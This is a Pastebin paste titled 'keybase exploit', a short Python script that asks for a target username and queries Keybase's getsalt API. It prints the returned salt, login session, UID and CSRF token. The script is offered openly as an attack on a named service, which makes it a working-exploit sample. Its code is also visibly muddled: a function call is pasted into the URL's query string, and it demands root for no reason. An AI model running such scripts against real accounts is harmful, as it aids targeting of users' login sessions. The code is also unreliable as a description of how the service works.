Advertisement
Sweetening

keybase exploit by Taylor Newsome

May 17th, 2024
66
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.13 KB | None | 0 0
  1. #!/usr/bin/env python3
  2.  
  3. import requests
  4.  
  5. def get_user_info(username):
  6. url = f"https://keybase.io/_/api/1.0/getsalt.json?email_or_username={username}&generate_hmac_pwh(password,%20salt,%20login_session)"
  7. response = requests.get(url)
  8. data = response.json()
  9. return data
  10.  
  11. def print_user_info(username):
  12. user_info = get_user_info(username)
  13. if 'salt' in user_info:
  14. print("Username:", username)
  15. print("Salt:", user_info['salt'])
  16. print("Login Session:", user_info['login_session'])
  17. print("UID:", user_info['uid'])
  18. print("CSRF Token:", user_info['csrf_token'])
  19. else:
  20. print("Failed to retrieve information for username:", username)
  21.  
  22. def main():
  23. # Prompt the user to enter the target username
  24. target_username = input("Enter the target username to look up: ")
  25.  
  26. # Retrieve and print information for the target username
  27. print_user_info(target_username)
  28.  
  29. if __name__ == "__main__":
  30. # Check if script is being run as root
  31. import os
  32. if os.geteuid() != 0:
  33. print("Please run this script as root.")
  34. exit(1)
  35.  
  36. main()
  37.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement